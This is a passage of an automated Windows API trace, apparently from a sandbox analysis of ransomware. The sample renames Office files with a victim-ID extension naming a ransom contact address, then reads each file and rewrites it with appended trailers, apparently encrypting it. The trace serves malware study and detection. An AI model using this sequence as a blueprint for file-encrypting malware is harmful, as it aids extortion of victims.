office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4a4b257, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4a4b257, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4b09e82, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6760, dwReserved0=0x6d, dwReserved1=0x0, cFileName="MondoR_OEM_Perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MO5207~1.FIR")) returned 0x6d4e00 [0143.726] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0143.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0143.726] GetProcessHeap () returned 0x630000 [0143.726] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6781) returned 0x71b6a8 [0143.726] GetProcessHeap () returned 0x630000 [0143.726] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6781) returned 0x70c500 [0143.726] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.727] ReadFile (in: hFile=0x4b8, lpBuffer=0x71b6a8, nNumberOfBytesToRead=0x6760, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b6a8*, lpNumberOfBytesRead=0x69bff0c*=0x6760, lpOverlapped=0x0) returned 1 [0145.715] GetProcessHeap () returned 0x630000 [0145.715] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0145.715] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.715] WriteFile (in: hFile=0x4b8, lpBuffer=0x70c500*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c500*, lpNumberOfBytesWritten=0x69bff0c*=0x6760, lpOverlapped=0x0) returned 1 [0145.932] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.932] WriteFile (in: hFile=0x4b8, lpBuffer=0x712c5f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x712c5f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.932] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.932] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.932] CloseHandle (hObject=0x4b8) returned 1 [0145.932] GetProcessHeap () returned 0x630000 [0145.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c500 | out: hHeap=0x630000) returned 1 [0145.932] GetProcessHeap () returned 0x630000 [0145.933] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71b6a8 | out: hHeap=0x630000) returned 1 [0145.935] GetProcessHeap () returned 0x630000 [0145.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0145.935] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.935] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4a4b257, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4a4b257, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1ced08ae, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6784, dwReserved0=0x9b47496, dwReserved1=0x71b6a0, cFileName="MondoR_OEM_Perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MO5207~1.FIR")) returned 0x6d5280 [0145.936] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0145.936] Sleep (dwMilliseconds=0x1) [0146.022] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT", len=0x40 | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT") returned 1 [0146.022] GetProcessHeap () returned 0x630000 [0146.022] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x274c) returned 0x71f7c78 [0146.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0146.730] CloseHandle (hObject=0x6e8) returned 1 [0146.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.735] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa2f6cec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTFORM.DAT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTFOR~1.FIR")) returned 0x6d5280 [0146.736] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0146.736] GetProcessHeap () returned 0x630000 [0146.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x721bfe8 [0146.736] GetProcessHeap () returned 0x630000 [0146.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0146.737] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.737] ReadFile (in: hFile=0x4e8, lpBuffer=0x721bfe8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x721bfe8*, lpNumberOfBytesRead=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0152.856] GetProcessHeap () returned 0x630000 [0152.856] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0152.857] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.857] WriteFile (in: hFile=0x4e8, lpBuffer=0x72d3518*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesWritten=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0152.857] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.857] WriteFile (in: hFile=0x4e8, lpBuffer=0x72de917*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de917*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0152.857] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.857] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0152.857] CloseHandle (hObject=0x4e8) returned 1 [0152.858] GetProcessHeap () returned 0x630000 [0152.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0152.858] GetProcessHeap () returned 0x630000 [0152.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721bfe8 | out: hHeap=0x630000) returned 1 [0152.858] GetProcessHeap () returned 0x630000 [0152.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0152.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0152.858] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x210ea663, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x16e24, dwReserved0=0x9b47496, dwReserved1=0x721bfe0, cFileName="OUTFORM.DAT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTFOR~1.FIR")) returned 0x6d52c0 [0152.858] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0152.858] Sleep (dwMilliseconds=0x1) [0154.539] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe", len=0x8c | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe") returned 1 [0154.539] GetProcessHeap () returned 0x630000 [0154.539] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b94) returned 0x713f7f0 [0154.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx45.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0154.841] CloseHandle (hObject=0x678) returned 1 [0154.841] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0154.841] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx45.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx45.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0154.843] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.844] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6de953e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ad0, dwReserved0=0x6e0069, dwReserved1=0x720065, cFileName="Microsoft.Mashup.Container.NetFX45.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~1.FIR")) returned 0x6d4ec0 [0154.844] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0154.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx45.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0154.846] GetProcessHeap () returned 0x630000 [0154.846] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4ae1) returned 0x7142360 [0154.847] GetProcessHeap () returned 0x630000 [0154.847] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4ae1) returned 0x7146e50 [0154.847] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.847] ReadFile (in: hFile=0x678, lpBuffer=0x7142360, nNumberOfBytesToRead=0x4ac0, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7142360*, lpNumberOfBytesRead=0x69bff0c*=0x4ac0, lpOverlapped=0x0) returned 1 [0157.026] GetProcessHeap () returned 0x630000 [0157.026] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176598 [0157.026] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.026] WriteFile (in: hFile=0x678, lpBuffer=0x7146e50*, nNumberOfBytesToWrite=0x4ac0, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7146e50*, lpNumberOfBytesWritten=0x69bff0c*=0x4ac0, lpOverlapped=0x0) returned 1 [0157.026] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.026] WriteFile (in: hFile=0x678, lpBuffer=0x714b90f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x714b90f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0157.026] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.026] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0157.027] CloseHandle (hObject=0x678) returned 1 [0157.027] GetProcessHeap () returned 0x630000 [0157.027] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7146e50 | out: hHeap=0x630000) returned 1 [0157.027] GetProcessHeap () returned 0x630000 [0157.027] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7142360 | out: hHeap=0x630000) returned 1 [0157.027] GetProcessHeap () returned 0x630000 [0157.027] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176598 | out: hHeap=0x630000) returned 1 [0157.027] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0157.027] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x238a0992, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4af4, dwReserved0=0x9b47496, dwReserved1=0x7142358, cFileName="Microsoft.Mashup.Container.NetFX45.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~1.FIR")) returned 0x6d52c0 [0157.027] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0157.027] Sleep (dwMilliseconds=0x1) [0160.598] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml") returned 1 [0160.598] GetProcessHeap () returned 0x630000 [0160.598] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c08) returned 0x707d3d0 [0160.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0160.599] CloseHandle (hObject=0x620) returned 1 [0160.599] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.599] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5480 [0160.600] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0160.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0160.601] GetProcessHeap () returned 0x630000 [0160.601] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1141) returned 0x7177cb8 [0160.601] GetProcessHeap () returned 0x630000 [0160.601] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1141) returned 0x71aa040 [0160.601] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.601] ReadFile (in: hFile=0x620, lpBuffer=0x7177cb8, nNumberOfBytesToRead=0x1120, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7177cb8*, lpNumberOfBytesRead=0x69bff0c*=0x1120, lpOverlapped=0x0) returned 1 [0160.728] GetProcessHeap () returned 0x630000 [0160.728] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176c28 [0160.728] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.729] WriteFile (in: hFile=0x620, lpBuffer=0x71aa040*, nNumberOfBytesToWrite=0x1120, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71aa040*, lpNumberOfBytesWritten=0x69bff0c*=0x1120, lpOverlapped=0x0) returned 1 [0160.729] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.729] WriteFile (in: hFile=0x620, lpBuffer=0x71ab15f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ab15f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.729] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.729] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.729] CloseHandle (hObject=0x620) returned 1 [0160.729] GetProcessHeap () returned 0x630000 [0160.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71aa040 | out: hHeap=0x630000) returned 1 [0160.729] GetProcessHeap () returned 0x630000 [0160.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177cb8 | out: hHeap=0x630000) returned 1 [0160.729] GetProcessHeap () returned 0x630000 [0160.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176c28 | out: hHeap=0x630000) returned 1 [0160.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.729] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x25bf37c4, 